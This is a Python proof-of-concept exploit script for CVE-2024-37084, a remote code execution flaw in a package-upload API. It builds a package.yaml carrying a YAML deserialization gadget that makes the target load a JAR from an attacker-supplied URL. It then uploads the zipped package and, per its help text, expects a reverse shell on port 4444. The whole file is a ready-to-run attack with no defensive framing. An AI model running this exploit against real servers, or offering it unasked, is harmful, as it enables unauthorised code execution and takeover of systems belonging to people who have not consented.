import os
import requests
import json
import zipfile
from pathlib import Path
import argparse

def create_package_yaml(version, payload_url, folder_path):
    package_content = f"""repositoryId: 1
repositoryName: local
apiVersion: 1.0.0
version: {version}
kind: test
origin: thePoc
displayName: !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["{payload_url}"]]]]
name: thePoc
    """

    package_file_path = os.path.join(folder_path, "package.yaml")
    
    with open(package_file_path, 'w') as file:
        file.write(package_content)
    
    print(f"[+] Created package.yaml with version: {version}, payload URL: {payload_url}")

def zip_folder(folder_path, zip_file_path):
    with zipfile.ZipFile(zip_file_path, 'w', zipfile.ZIP_DEFLATED) as zipf:

        folder_name = os.path.basename(folder_path)
        
        for root, _, files in os.walk(folder_path):
            for file in files:
                full_path = os.path.join(root, file)
                relative_path = os.path.relpath(full_path, os.path.dirname(folder_path))
                zipf.write(full_path, relative_path)
                
    print(f"[+] Zipped folder to: {zip_file_path}")


def zip_to_byte_array(zip_file_path):
    with open(zip_file_path, 'rb') as zip_file:
        return list(zip_file.read())

def upload_package(url, version, package_file_as_bytes):
    upload_request = {
        "repoName": "local",
        "name": "thePoc",
        "version": version,
        "extension": "zip",
        "packageFileAsBytes": package_file_as_bytes
    }
    
    headers = {
        'Content-Type': 'application/json'
    }
    
    response = requests.post(url, headers=headers, data=json.dumps(upload_request))
    return response

if __name__ == "__main__":
    parser = argparse.ArgumentParser(
        description="PoC for CVE-2024-37084 - Remote Code Execution",
        usage="python CVE-2024-37084-Poc.py --target_url <target_url> --version <version> --payload_url <payload_url> [--listen_ip <listen_ip>] [--listen_port <listen_port>]"
    )

    parser.add_argument("--target_url", type=str, required=True, help="URL of the target server (e.g., http://target_ip:port/api/package/upload)")
    parser.add_argument("--version", type=str, required=True, help="Version of the package (e.g., 5.0.0)")
    parser.add_argument("--payload_url", type=str, required=True, help="URL to the malicious payload (e.g., https://too.lewd.se/yaml-payload.jar)")
    parser.add_argument("--listen_ip", type=str, default="0.0.0.0", help="IP to listen for the reverse shell (default: 0.0.0.0)")
    parser.add_argument("--listen_port", type=int, default=4444, help="Port to listen for the reverse shell (default: 4444)")

    if len(os.sys.argv) == 1:
        parser.print_help()
        os.sys.exit(1)

    args = parser.parse_args()

    folder_name = f"thePoc-{args.version}"
    zip_file_name = f"{folder_name}.zip"
    
    Path(folder_name).mkdir(parents=True, exist_ok=True)

    create_package_yaml(args.version, args.payload_url, folder_name)

    zip_folder(folder_name, zip_file_name)
    
    package_file_as_bytes = zip_to_byte_array(zip_file_name)

    print("[*] Uploading malicious package...")
    response = upload_package(args.target_url, args.version, package_file_as_bytes)
    
    print(f"Status Code: {response.status_code}")
    print(f"Response Body: {response.text}")